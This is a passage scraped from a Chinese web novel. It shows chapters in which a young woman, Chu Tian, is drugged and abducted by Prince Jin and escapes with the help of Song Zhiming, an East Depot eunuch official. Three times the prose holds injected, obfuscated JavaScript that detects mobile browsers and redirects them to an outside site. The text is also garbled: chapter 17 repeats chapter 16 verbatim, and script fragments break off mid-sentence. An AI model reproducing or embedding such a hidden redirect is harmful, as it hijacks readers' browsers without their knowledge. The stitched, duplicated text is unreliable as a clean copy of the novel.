思及此，晋王嘴角勾起得逞的笑，仿佛那温香软玉已绽放在他掌中。 “王爷，东厂来人了。”小厮匆匆忙忙跑过来，气喘吁吁地告知晋王，“宋提督过来了。” 晋王的面色瞬间阴沉下去，与他皇兄不同，他并不喜欢这个阉人，却又碍于皇兄的颜面，不得不给宋知明好脸色，他甩了甩衣袖：“知道了，这就过去。” “记得小美人到了，梳洗过后就送我房里去。” 说罢，晋王压下满心的不满，大步流星地往门外走去。 “给王爷请安。”宋知明见到晋王，嘴上行了一礼，身子却没半分动作，显然并没有把人放在眼里。 但晋王却挑不出他的不是，毕竟宋知明不用行礼是皇帝许的特权。就连皇帝都不用行礼，他一个王爷又怎么好越过他皇兄呢？ 宋知明眼神玩味地瞧着晋王，看他眼里翻滚着怒气，却又不发作出来。 “不知宋大人找我何事？” “倒也没有什么大事，西域国进贡了几位佳人，咱家奉陛下的旨意，给王爷送过来。”宋知明慢悠悠瞥了晋王一眼。 他比皇帝年纪还要小些，容貌却仿佛苍老了许多岁，眼底的青黑浮肿，全然是常年纵欲过度留下的痕迹。 果不其然，晋王眼神顿时亮了，探着头往宋知明身后瞧：“人呢？” 龙生九子，各不相同。 得到预料之中的结果，宋知明顿时了无趣味，他拍了拍手，随即三名金发碧眼的美人走了出来。 她们身着艳丽得如同晚霞色彩的衣裳，虽用轻薄的丝绸质地的帕子遮住了面颊，一双双琥珀般的眼眸却在大胆地抛着媚眼。不同于中原女子的婉约秀丽，她们身上更多的是张扬的美感。 晋王呼吸一滞，忙对着宋知明道谢。 他虽然嘴里说着叩谢皇恩的话，眼珠子却始终不曾转动分毫，死死地盯着那几位美人的脸。 宋知明自然是不在乎这些，“咱家就不耽误王爷的好事了，先行告退。” 宋知明迈着沉稳的步伐走出晋王府，目光不经意扫过停在旁边的一辆马车。门口的车夫他曾经在晋王身边见过，从前都是侍卫打扮，不知今日怎么乔装成了这副模样。 并且隔着这么远的一段距离，他都能闻到马车里散发的迷香气味。 到底是用了多少分量。 十分的浓重。 楚湉迷迷糊糊地感觉到马车停了下来，但此时她什么力气都使不上来了，软软地倚在车厢上动弹不得。 那车夫掀开帘子，先是往里面看了一眼，见楚湉已被药倒十分的满意，当即快步走进府中，等不及要去找晋王邀功。 “有人吗？”楚湉听到他离去的脚步声顿时睁开了眼，死死地掐住自己的胳膊，努力不让自己昏睡过去，从喉咙里艰难地发出求救声，“救、救命……” 这微弱的声音自然落入了宋知明耳里。 来福走上前：“早就听闻晋王喜欢强抢民女，没想到今日被咱们给撞上了。” 晋王是当年宫乱时为数不多存活下来的皇子，与皇帝虽然不是一母同胞，但是两人感情甚笃，所以即使有不少弹劾晋王作风不正的奏章，也都被皇帝压了下去。 宋知明并没有闲心管晋王的这些破事，眼下还未到动晋王的时机，他还没有打算撕破这层脸皮。 楚湉隐约听见了外头说话的声音，她猜想自己既然还没下马车，若是有人愿意救她，应该还是有能逃出去的机会。 求生的意志力让她颤抖着抬起手，伸手摸到了她身上唯一的利物——鬓间的发簪之上。 银簪的寒意顺着楚湉的指尖蔓延开来，激得她的肌肤一颤，意识短暂回笼，但是这还远远不够，不足以抵抗骨子里透出来的那沉重的睡意。 楚湉咬紧嘴唇，凝聚了全身所有气力，迅速把银簪从发间拔出，然后刺向自己的手臂。 汹涌的剧痛袭来，温热的鲜血顺着簪身缓缓流出，洇湿了她的衣袖。 不过好在，这钻心的痛意让楚湉清醒了许多，她死死握住了手中的簪子，一面呼救一面并不愿意松手，即使是最差的打算，这根簪子也能暂时护住她。 天不遂人愿，那车夫很快就回来了。 楚湉被他一把扛在了肩上，尽管她使出了吃奶的劲挣扎，也丝毫逃不脱。车夫手臂粗壮的肌肉，一看就是经常习武之人，这样的人怎么可能只是一个小小的赶马的小卒？ 待下马看到牌匾上“晋王府”三个大字时，楚湉顿时什么都明白了。 原来这一切都是晋王的手笔，难怪他能在郡主府门口大摇大摆就把人劫走，楚湉一时间既恨又怕，她曾听过晋王做过的荒唐事，她要是落入他手上，下场不用多想。 楚湉猛地拿起簪子从背后刺向车夫，想要趁车夫受伤逃跑。但是冬日里的衣裳厚实，她中了迷药力气本就有限，堪堪只捅破了那车夫外面的袄子就掉落在了地上。 “叮当”一声。 掉落的银簪孤零零地躺在地上，上头未干的血迹在地面染出朵朵红梅。 “姑娘，你老实一些，能少吃很多苦头。”车夫显然是被楚湉给惹怒了，但这是他家王爷指名要的人，说不定以后也是他的主子，因为他并不敢对楚湉发火，只能好言相劝。 楚湉缄默不语，蓄积着体力，眼下她连话都说不出口。 很快楚湉被送入了一间屋子，刚到便有数名丫鬟围了过来，有条不紊地给她梳妆打扮。她像个提线木偶一般，挣不了，逃不脱。 收拾妥当之后，楚湉被簇拥着送到了软榻之上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647880|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这似乎是流水线一样的流程，楚湉只要稍微动弹一下，便有人紧紧盯着她的动作，楚湉想拿件趁手的物件保护自己或者是威胁她们都毫无办法。 楚湉的心一寸寸凉透，她不愿意就这么委身给晋王。 另一边的暖阁之内，沉香袅袅，浓郁的香气似能将人的骨头都熏得酥软。晋王左拥右抱着两位新得的佳人，女人传来娇笑声声，逗得晋王眉开眼笑。 他刚得了乐子，心情好极，又喝过唇边递过来的美酒之后，完全已经将楚湉抛之脑后，沉沉地步入梦乡之中。 天色渐黑，依旧不见晋王的身影，楚湉不由得松了口气，但脑海里的弦始终死死地绷着，唯恐他回来。 屋里伺候的丫鬟也只留了一个看着她，眼下显然是最好的时机。 楚湉身上的药效此时已过了大半，但是她还是故作没甚力气的模样，弱弱地恳求守着她的那个丫鬟：“能否麻烦你带我去净房一趟，我腹中绞痛，实在是难受。” 冬春面露犹豫之色，主子吩咐过了不许让楚湉出去。但她瞧着又确实是虚弱极了，小脸煞白，手也有气无力地抚在小腹之上，并不太像装的。 冬春转念一想，王府里密不透风，都是守卫，这姑娘又能逃到哪里去呢？ 晋王府大得仿若迷宫，回廊曲折蜿蜒，楚湉边走边不动声色地打量，她的心急速跳动着，脑海中如走马灯般闪过种种脱身的法子。 花园的拐角处。 “麻烦姑娘行行好，能否在这等我一会，我……不愿有人在旁伺候。”楚湉咬紧唇，软软地说道。 澄澈的眼眸中眼波流转，好似也在出声哀求。 冬春早就听闻王爷今日得来的这女子不似之前带回来的平头百姓，从前也是有身份的，算得上是落魄世家的小姐，这小小的带着羞意的请求她终究是应下了。 楚湉故意开门闹出声响，待到侍女转身之时，她身形一闪，急忙躲进了旁边的花丛。 她照着脑海中记住的路线，在夜色的掩护之下，步履匆匆地朝着来时见过的一个偏门的方向走。 好不容易走到了，楚湉还未来得及欣喜，灯光已在地上投下门口两个侍卫魁梧却又带着几分阴森的影子。 后方传来一阵急促的脚步声，想必是那侍女发现了她不见。 楚湉的心顿时凉了半截。 听着那脚步声越来越近，有汗水顺着她的鬓角滑落。楚湉的呼吸愈发急促，胸膛剧烈地起伏着，心脏仿佛要冲破胸腔。偏门近在咫尺，可那两个如门神般矗立的侍卫却如两座不可逾越的高山。 千钧一发之际，楚湉的目光扫过旁边那扇紧闭的门。 那门半掩在阴影里，并未落锁。楚湉没有时间思索，一个踉跄地冲进屋内，随后迅速转身，双手死死地抵住门闩。 一墙之隔的屋外。 “你们可看见一个女子跑过来？”冬春焦急的声音传来。 侍卫老实答道：“不曾见过。” 冬春气得跺脚，转身又往别处寻去了。 楚湉靠着门，心怦怦直跳。未等她紧绷的神经稍有松懈，脖颈处陡然传来一阵森寒，如冰刀般锐利的触感让她的血液瞬间凝固。 黑暗中，她对上一双凉薄的眼睛。 他的面颊在外头烛火的映照下，轮廓渐次清晰。 空气中弥漫着淡淡的甘松香气。 宋知明将刀刃抵住了楚湉的颈子，无声睥睨着她。 “你怎么在这？” 15. 第 15 章 “你怎么在这？”宋知明压低了音量。 楚湉感受到刀锋朝她逼近了几分，紧紧挨在她的脖颈之上。仿佛只要她微微动一下脑袋，那把利刃就能割破她的喉咙。 屋里并未点灯，再加上宋知明此时的这身夜行衣的低调装扮，楚湉立刻明白了。 他进来的手段和目的怕是见不得人。 换而言之，眼下不能被外面的人发现的又岂止是她。 区别在于，宋知明手上有武器，而她……什么也没有。 “宋，宋大人，”楚湉结巴着喊了一声，赶紧表明了自己的立场，“我是被抓来的，我只想平安从王府逃出去，今日在这里见到您的事，我绝不会对外说。” “您先把刀放下，成吗？” 成吗？软乎乎的口气，大概是在求他。 宋知明听了却只是些微挑挑眉，慢条斯理勾起她颈侧滑落的一缕长发，将它拨弄到了刀刃那面，刚刚才触碰到，刹那间便有几根发丝飘落下来。 楚湉的心瞬间慢了两拍，宋知明这是要杀了她灭口？她真是欲哭无泪，救命啊，她可不想成为死在宋知明刀下的冤魂。 她脑子飞速运转，拼命搜刮着能说服宋知明的理由，“大人，我说的都是真的，我真是不知道您在这里，出去之后我定然会忘得干干净净的。”若是早知宋知明在这，楚湉想，她也绝不会进来。 朱唇微张，欲言又止，秋水般的瞳仁剧烈地颤动着。 楚湉等了一会儿，见宋知明的目光在她身上凝定，眉宇间隐有松动，赶紧趁机再补充道：“我……” 话还未说完，宋知明便捂住了她的嘴巴：“别出声。” 屋外，人影攒动，脚步声十分杂乱。 “给我搜！好好一个大活人还能凭空消失了不成，就是掘地三尺也要给我找出来，每间空的屋子都不能放过！” 楚湉眼睛瞪得溜圆，眼里满是惊慌，却对宋知明点点了头，又做了个噤声的手势，表示自己不会发出声响。 宋知明掀了掀眼皮，手腕轻抖，刀刃已经入鞘收在了他腰间。 “吱呀——” 脚步声逐渐靠近，紧接着隔壁屋子里的门便被推开了，一顿翻找的声音听得十分真切。 楚湉竖起耳朵听着屋外的动静，同时死死攥住了宋知明的衣袖，唯恐他抛下她一个人逃之夭夭。 原本丝滑的料子被她揪出团团褶皱，恰如宋知明此刻拧起的眉头，倒不是因为怕被外面的人发现，而是他不喜欢别人靠自己这么近，谁知楚湉下手竟毫无轻重，眼巴巴地贴在他身侧。 楚湉知晓自己不能发出声音，只能默默地用眼神问他怎么办。再这么待在这里，等会他们只要推开门就能看见两人的身影。 不过，楚湉转念一想，晋王府的人抓了宋知明会怎样？宋知明会任由他们摆布吗？ 这样想来，心中的恐慌好似减轻了些，只要她和宋知明待在一处，那些人大概也不能拿她如何。 宋知明默不作声地看那双灵动的眼眸滴溜转，把楚湉细微的表情变化都尽收眼底，突然大手一挥，精准地抓住了楚湉的衣领，刹那间楚湉整个人便轻而易举地被宋知明提了起来。 他大步流星走了两步，拉开旁边的柜子，把楚湉给塞了进去。做完这一切，他转身要走。 楚湉还拽着那方衣袖，不肯放手。若是就这么藏在柜子里，太容易被发现了。宋知明既然没有杀她，大概……她还能再求求他…… 宋知明冷冷睨着她因为用力而泛白的指尖，有些后悔。一开始就该把人杀了的，何至于这么麻烦。 “放手，”他咬着牙。 楚湉看出了他眼底翻涌的不悦，头皮止不住发麻，忍着畏惧，极小声问道：“大人怎么办？” “……” 她还有闲心操心他？宋知明脸上透着几分冷峻，他拨开了她的手心，把自己的衣袖扯了出来。 楚湉眼睁睁看着柜子门被关上，其后便传来推门的声音。 再然后。 透过柜子的缝隙，她目睹宋知明一巴掌便劈晕了首先进来的家丁，紧跟着一个飞踢，冲上来的人倒了一片。 宋知明的身形灵活，招式利落又干净，不多时那些家丁就落了下风。 正当楚湉以为宋知明要留在这把所有人都打倒再离开的时候，他猛地朝后一跃，双脚在墙壁上借力一蹬，整个人高高跃起，再也瞧不见。 想必他是跳到了屋檐上，赶过来的侍卫仰着头开始追赶。 “有刺客！”晋王府乱成一团。 屋里也是一片狼藉，最开始进来的那一波人揉着酸痛的身体站起来，扫了空荡荡的屋子一眼，头也不回地朝外头追去。 自打宋知明消失的那一刻开始，楚湉屏住呼吸，大气也不敢出。她万万没想到宋知明会使出这招调虎离山之计，想必现在整个晋王府都被搅得鸡犬不宁。 楚湉确保屋里没人之后，推开了柜子。 宋知明若无意外绝不会再回来，她要趁着这个混乱的时机，从晋王府逃出去。 她蹑手蹑脚地出门，果不其然，原本守在偏门的侍卫不见了。 楚湉迫不及待地去走上前推门，此时才发现，那道门早已落了锁，冰冷坚硬的铁锁在黯淡月光的照耀下，格外的刺眼，楚湉的手无力地垂落下去。 来不及失望，楚湉立马朝后走，偌大的晋王府肯定不止这一个出口，若是错过了现在的机会，她要想逃出去怕是更难了。 一路上她小心的避开人群，一边低垂着头尽力让那些匆忙的侍卫尽力忽视自己的存在，一边又要观察到底还有哪里能够离开。 晋王也在外面的喧嚣声中被吵醒，听说王府里闯进来了刺客，他比谁都慌张。他把怀里的美人推开，火急火燎地穿上衣服，下令调派人手过来支援。 没多久，晋王府便被团团围住，火把照亮了半边天。赶来的士兵们神情专注，警惕地观察着每一处风吹草动。 楚湉躲在墙角和花丛相接的暗处藏起来，心中苦不堪言。没想到晋王府竟弄出这样大的阵仗来抓人，她压根没有浑水摸鱼的机会，此时逃出去难如登天。 …… “废物，都是废物，这么多人抓一个都抓不住吗？”晋王摔破了茶盏。 “所有出入口都派人封锁了，只要他再现身，定能捉到。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647881|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手下擦了把冷汗，谁知那刺客武艺那么高强，飞檐走壁，一下就不见了踪影，万幸的是，并不是冲着刺杀来的，不然晋王现在怕是不能好好的站在跟前了。 彼时的晋王府灯火通明，就连一只飞蛾飞过都十分显眼。 楚湉心乱如麻，再这么藏下去，被发现是迟早的事，若是被冠上和刺客相关联的罪名，到时候不止是她自己难逃一劫，就怕还要给家里本就不好的处境雪上加霜。 “该死的宋知明，遇上他从没发生过好事。”楚湉宛如热锅上的蚂蚁，忍不住骂了一声。 “你说什么？”宋知明不知从何处突然冒出来，目光如炬，直直地注视着那张僵住的小脸，眼神里带着丝丝冷意，好似要将她看穿。 “宋，宋大人。”楚湉颤巍巍地抬起头，不敢置信地望他一眼，这人走路都没有声音的吗，又是从何时到这里的？ 他竟然回来了。 宋知明高大的身影罩住了楚湉的视线，她连忙伸手去拉他。他这么胆大妄为的出现，可别连累她一起被发现了。 宋知明的衣袖又被扯住了。 楚湉忙道：“大人快蹲下来！” 宋知明的唇抿成了一道直线，紧紧绷着下巴，没好气道：“起来。”还未等楚湉反应过来，他故技重施，又提住了楚湉的衣领。 “人在那！”此时已经有人发现了他们。 宋知明右臂夹住楚湉，足尖点地，飞身跃向屋檐，在人群聚过来之前，两人先一步离开了地面。 “追，别让他们跑了！” 耳边是呼啸的风声，冬日的寒夜格外冰冷。 冷风扑面而来，吹得衣袂猎猎作响，楚湉忍不住打着颤，不敢睁开眼睛。 不知是走了多久，四周喧闹的声音渐渐消失。 宋知明带着她稳稳地落在了地上。 终于踩到了坚硬的地面，楚湉试探性地眯起眼缝，才发觉早已不在晋王府了，也不知是哪户人家的屋檐上跳下来的。 楚湉靠着墙根，大口大口地喘着气，她竟然从晋王府逃出来了。 还是在宋知明的帮助之下。 宋知明早已松开了楚湉，见她还紧紧攥着他的衣袖，眉头又拧起来了，他稍稍施力，那方衣角便猛地从楚湉手里滑落。 “嘶，”楚湉按住手臂，小脸皱成一团。宋知明这一动，牵扯到了她臂上的伤口，顷刻间有蜿蜒的血迹顺着她的小臂滑落。 “多谢宋大人。”楚湉忍住痛意答谢。 宋知明脸色冷峻如霜，丝毫未见动容，他目光淡淡从楚湉脸上扫过：“你说过的话，自该记得。” 楚湉肯定地点头，“大人放心。” 得了答复，宋知明徐徐转身，正要离开。 “大人，”楚湉见他要走，连忙叫住他。那双纤细的手生怕他溜走似的，忙不迭抓住了他的袍子。楚湉向前一步，拦住宋知明离去的方向。 宋知明的眼里闪过一丝不耐，面色如霜。 楚湉被他的眼神吓得微微一颤，却并未退缩。她抬起他的手，那双翦水秋瞳中流露出关切，柔声道。 “大人，你受伤了。” 16. 第 16 章 这枚玉扳指昨日她曾于帮宋知明包扎时从他手中见过，上好的和田黄玉质地，整个上京大概都找不出几块这么通透的料子，于月光下流转着粼粼波光。 只是她昨日分明和宋知明不同路，他的东西怎么会掉在楚家？ “再不把他交出来，别怪我手下无情，”李管事大手一扬，恐吓道，“来人啊，把楚家的男女老少都给我送到官府去。” “我看谁敢！”楚湉上前一步，挺身而出。 冷风吹得她的衣袖高高扬起，猎猎作响，素白的锦缎好似天边的云朵翻涌。 她怒目而视，掷地有声。 此事她绝不能任由着朝失控的方向发展，本来她还想要以退为进，借着晋王府闹事的由头，等到风言风语传到陛下面前，说不定陛下会看在楚家如此忍让的份上顾念旧情，对父亲网开一面。 但若是扣上谋逆的罪名，楚家便会落入万劫不复的境地。 “我楚家三代为官，兢兢业业，上为朝廷下为百姓，鞠躬尽瘁死而后已。今日晋王遣人不由分说地来我府里搜查，我可以谅解。但岂能容你们这般不分青红皂白的肆意污蔑！” 楚湉神色冷清却坚毅，每一个字都仿佛带着千钧之力，周身散发着不可忽视的凛然之气。 李管事险些都被她唬住，此事本不该闹大，怕被好事者捅到陛下跟前让他家王爷丢了脸面，但他现在确实手中有明摆着的物证，楚湉怎么也抵赖不了。 他冷哼一声：“都是过去的事情，提这些有什么意思？” “过去？”楚湉忽地笑了，“我曾祖父戎马一生，有开国从龙之勇，我祖父征战沙场，墓碑上刻满了功勋，这些都是历代皇帝嘉奖的实绩，你一句话就否认了这些。” “莫不是你家王爷把他们包括他的列祖列宗都不放在眼里？”她逼问道。 李管事何曾想过楚湉看似柔弱可欺的外表下竟长着这样的伶牙俐齿，他哪来的胆子给晋王扣上这样的骂名，给他十个胆子都不敢。他猛地攥紧了手中那枚玉扳指：“楚姑娘还是就事论事，不要再扯开话题，或者你直接一些，把那个男人交出来，说不定我家王爷还能顾念情分，手下留情。” 楚湉确实是想说出它的主人是谁，可是……该怎么解释宋知明的东西是怎么出现在她院里的…… 说实话，她自己都不得而知。 不止是她，此刻收到飞鸽传书的来福也忍不住吸了口气，他自昨晚目睹提督如此反常之后特地留了个心眼，才于今日派人在楚家探听。 暗卫眼见局势焦灼，当即便传了消息到东厂。 来福捏紧了手中的纸条，站在门外踌躇，提督昨日吩咐过了不用出手相助，他此时过去禀告未免显得他把提督的话当作了耳旁风，但他若是不去。 他又何曾见过有像楚姑娘一样三番五次从提督手上死里逃生，还被提督救了的人？若是去晚了，晋王再用上些什么腌臜手段，难保会有什么后果。 来福在原地转了几圈，一拍脑门，不是还有那枚扳指吗！他怎么把这个给忘了。 东厂的书房内。 宋知明神色专注，凝神坐于书案前，随着他的手腕轻转，墨香四溢。 笔锋游走，宣纸上的墨色晕染开来。一个龙飞凤舞的“林”字跃然纸上。 “大人，”来福清了清嗓子，带着往日里惯有的恭敬，提醒道，“今日我总感觉眼前空落落的，像是有什么东西没看到，方才灵光一闪，才想起来好像自昨天夜里，就没看见大人手中的玉扳指了。” “是不是落在什么地方了，这可是陛下御赐之物，丢了被别人捡到就不好了，要不属下这就派人去寻？” 说罢，他微微低下头，眼角余光却在悄悄打量宋知明的反应。 宋知明搁置下了手中的狼毫，俨然是听到了，来福自是也瞧见了他笔下未干的墨痕。 宋知明问来福：“怎么样？” “这字自然是极好的。”来福忙答道。 “你想说的就是这个？” “果然逃不过主子您的眼睛，”来福悻悻笑道，“楚家已经是乱成一锅粥了，楚姑娘还在苦苦支撑着呢，不过那晋王府的下人也不是个好说话的，揪住不放。” 宋知明摩梭着空荡荡的指尖，久久未动。 就在来福以为自己揣测错了意思的时候，宋知明却起身了，来福连忙递上帕子给他净手，再度开口道：“属下已经备好马车了，大人若是想，现在出发应当正好可以赶上。” 巳时一刻，宋知明带着来福启程了。 上京城里民间都相传，东厂的车马无人敢拦，尤其是那顶朱红色的轿子。因为那抹红色并不代表喜庆，绝大多数时候全是来索命的。 至于轿子里坐着的那人，更是让人不敢多瞧上一眼。 …… 彼时楚湉正想要去夺李管事手中的玉扳指，黄玉虽然比其它玉质坚硬些，但若是摔在尖锐的物件上，也免不了面目全非，只要那玉碎了，便是死无对证。 她既不退让，李管事也无法采取强硬的手段，他们并非官府的人，就算是楚家真的犯事了，按道理也得先遣人去报官，没有他们武力捉人的道理。可晋王未必想让官府来掺上一角，所以他只能暗地里遣人先去告知晋王，等晋王来做决断。 晋王全然没料到楚湉竟比他想象当中聪明了许多，但越是这样，他的心反倒是越痒痒，驯服这样的女人比主动投怀送抱的可有意思多了。听闻手下禀报之后，晋王当即领兵往楚家赶。 这一次，他拿了楚家这么大的把柄，他可不信还有谁能救她走。 晋王隐忍的火气在见到楚湉那抹清丽的身影时消了大半，她今日并未施妆，着的也不过是寻常衣饰，正是这样看着却又格外的素雅，一双灵动的小鹿般的眼睛微微眨动就快把他的魂勾走了。 想起自己此行的目的，晋王却又不想给她留下不好的印象，于是顺水推舟想要做个好人：“今日的事情大概是弄错了，只要人交出来，一切都可以既往不咎。” 楚湉顺着晋王的声音望过来，他脖颈处几个鲜红的唇印分外夺目，刻意拉起的护脖都未能遮掩住，她一眼便瞧见了。她知他来者不善，本来一个管事就够心烦的,再加上一个晋王领了这么多人过来，她要如何在众目睽睽之下毁了那枚扳指。 楚湉低下头去，客套行礼。 “臣妇拜见晋王爷，”楚夫人扑过去，声音中带着一丝颤抖，“你可要给我们个说法呀，今日先是贵府里的人不由分说砸了阿湉的屋子，又是说什么男人，我家女儿尚未婚嫁，怎么会窝藏男人呢？” 晋王目不转睛盯着楚湉垂下去的头颅，顺着她优美的颈部线条慢慢滑落，眼里闪过一丝玩味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647882|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “夫人说得是，我有几句话想私底下问问楚姑娘，若她所言无差错，我们当即撤回去，隔日我再特地上门赔礼道歉。” 楚湉颇有些不可思议地抬起头，晋王要问她什么？ 晋王慢悠悠从李管事手中接过那枚玉扳指，步行至楚湉跟前，指了指前面半掩的门，“随我进去吧。” 这么多人在，想必晋王应该也做不出什么出格的事情，她刚好有机会拿到扳指。 楚湉进来时特地留了门缝，却不曾想晋王立马给关上了。 晋王浑不吝地坐在楚湉的榻上，边闲适地把玩着温润的玉石，边拿另一只空闲的手拍了拍旁边的位置，示意楚湉坐过来。 “我又不会吃了你，这么怕作甚？”晋王低低的笑。 听到他促狭的笑声，楚湉忍不住蹙眉，感到一阵恶寒，只上前一步却并未坐下。 晋王却觉得这样的距离似乎还不够近，长臂一伸，抓住楚湉的皓腕，便将她拉到身前，楚湉一个踉跄，险些摔倒在他怀里，却强自稳定了身形站住了。 晋王把扳指放下，想要伸出手指挑起她的下巴，她轻微的呼吸带着丝丝缕缕的温热，这如玉的肌肤摸起来应该比冷冰冰的石头好多了。 啧，细闻她的屋里还真是无一处不香。 楚湉为了拿到那枚玉扳指，趁着扭头的功夫探出手来，险些没能躲开他的触摸，好在终于是把东西拿到了她掌中。她默默把扳指往袖中藏，同时不动声色地往后退，她真是一刻都受不了晋王这样孟浪的人。 晋王见她投怀送抱又要离开，被勾得分外眼热，继续说道：“好姑娘，你就从了本王吧，从今往后本王绝不会让你吃半分苦头。” “还有你父亲那头，若是你愿意求我，”他故意拖长了尾音，“虽然刑部那群顽固有些麻烦，为了你我愿意去打听打听。” 楚湉怔住，刑部？父亲被关在大理寺，和刑部有什么关系？ 晋王以为自己的花言巧语奏了效，连忙伸手去揽她的腰肢，一把将楚湉往怀里搂。 楚湉没料到他竟然如此不顾脸面，顿时被吓得花容失色，又急又怒地抵住他的胸膛，奋力想要挣脱开：“放开我！外面那么多人，若是我呼救被他们听到了，王爷该将脸面置于何地？” “你敢叫吗？”晋王勾起她一缕散落的秀发，为她的天真而发笑，“我可不在乎名节，至于你么，叫了除了让你母亲担心能掀起什么风浪？” 他作势去亲楚湉的香腮，楚湉再也忍不住，抬手就是一巴掌。 “唰”地一声，格外清脆。 “你敢打我，不要命了？”晋王惊愕地瞪大了眼睛，脸上浮现出清晰的掌印。他表情尽显狰狞，步步紧逼，“给你脸不要，那就莫怪我。” 楚湉被吓得连连后退，后背抵上冰冷的梁柱，已是无路可走。 “别过来……”她咬着牙，声音不自觉发颤。晋王不但充耳不闻，反倒是恶狠狠地盯着她笑出声。 楚湉万念俱灰，不自觉握紧了袖中的玉扳指，做好了拼死抵抗的准备。 却听一声巨响，门板顿时四分五裂开来。 继而屋外走进来个高大的人影。 狂风骤起，呼啸着席卷天地。 于凛冽的风声中，楚湉缓缓抬眸而视。 一眼便望见了宋知明。 17. 第 17 章 这枚玉扳指昨日她曾于帮宋知明包扎时从他手中见过，上好的和田黄玉质地，整个上京大概都找不出几块这么通透的料子，于月光下流转着粼粼波光。 只是她昨日分明和宋知明不同路，他的东西怎么会掉在楚家？ “再不把他交出来，别怪我手下无情，”李管事大手一扬，恐吓道，“来人啊，把楚家的男女老少都给我送到官府去。” “我看谁敢！”楚湉上前一步，挺身而出。 冷风吹得她的衣袖高高扬起，猎猎作响，素白的锦缎好似天边的云朵翻涌。 她怒目而视，掷地有声。 此事她绝不能任由着朝失控的方向发展，本来她还想要以退为进，借着晋王府闹事的由头，等到风言风语传到陛下面前，说不定陛下会看在楚家如此忍让的份上顾念旧情，对父亲网开一面。 但若是扣上谋逆的罪名，楚家便会落入万劫不复的境地。 “我楚家三代为官，兢兢业业，上为朝廷下为百姓，鞠躬尽瘁死而后已。今日晋王遣人不由分说地来我府里搜查，我可以谅解。但岂能容你们这般不分青红皂白的肆意污蔑！” 楚湉神色冷清却坚毅，每一个字都仿佛带着千钧之力，周身散发着不可忽视的凛然之气。 李管事险些都被她唬住，此事本不该闹大，怕被好事者捅到陛下跟前让他家王爷丢了脸面，但他现在确实手中有明摆着的物证，楚湉怎么也抵赖不了。 他冷哼一声：“都是过去的事情，提这些有什么意思？” “过去？”楚湉忽地笑了，“我曾祖父戎马一生，有开国从龙之勇，我祖父征战沙场，墓碑上刻满了功勋，这些都是历代皇帝嘉奖的实绩，你一句话就否认了这些。” “莫不是你家王爷把他们包括他的列祖列宗都不放在眼里？”她逼问道。 李管事何曾想过楚湉看似柔弱可欺的外表下竟长着这样的伶牙俐齿，他哪来的胆子给晋王扣上这样的骂名，给他十个胆子都不敢。他猛地攥紧了手中那枚玉扳指：“楚姑娘还是就事论事，不要再扯开话题，或者你直接一些，把那个男人交出来，说不定我家王爷还能顾念情分，手下留情。” 楚湉确实是想说出它的主人是谁，可是……该怎么解释宋知明的东西是怎么出现在她院里的…… 说实话，她自己都不得而知。 不止是她，此刻收到飞鸽传书的来福也忍不住吸了口气，他自昨晚目睹提督如此反常之后特地留了个心眼，才于今日派人在楚家探听。 暗卫眼见局势焦灼，当即便传了消息到东厂。 来福捏紧了手中的纸条，站在门外踌躇，提督昨日吩咐过了不用出手相助，他此时过去禀告未免显得他把提督的话当作了耳旁风，但他若是不去。 他又何曾见过有像楚姑娘一样三番五次从提督手上死里逃生，还被提督救了的人？若是去晚了，晋王再用上些什么腌臜手段，难保会有什么后果。 来福在原地转了几圈，一拍脑门，不是还有那枚扳指吗！他怎么把这个给忘了。 东厂的书房内。 宋知明神色专注，凝神坐于书案前，随着他的手腕轻转，墨香四溢。 笔锋游走，宣纸上的墨色晕染开来。一个龙飞凤舞的“林”字跃然纸上。 “大人，”来福清了清嗓子，带着往日里惯有的恭敬，提醒道，“今日我总感觉眼前空落落的，像是有什么东西没看到，方才灵光一闪，才想起来好像自昨天夜里，就没看见大人手中的玉扳指了。” “是不是落在什么地方了，这可是陛下御赐之物，丢了被别人捡到就不好了，要不属下这就派人去寻？” 说罢，他微微低下头，眼角余光却在悄悄打量宋知明的反应。 宋知明搁置下了手中的狼毫，俨然是听到了，来福自是也瞧见了他笔下未干的墨痕。 宋知明问来福：“怎么样？” “这字自然是极好的。”来福忙答道。 “你想说的就是这个？” “果然逃不过主子您的眼睛，”来福悻悻笑道，“楚家已经是乱成一锅粥了，楚姑娘还在苦苦支撑着呢，不过那晋王府的下人也不是个好说话的，揪住不放。” 宋知明摩梭着空荡荡的指尖，久久未动。 就在来福以为自己揣测错了意思的时候，宋知明却起身了，来福连忙递上帕子给他净手，再度开口道：“属下已经备好马车了，大人若是想，现在出发应当正好可以赶上。” 巳时一刻，宋知明带着来福启程了。 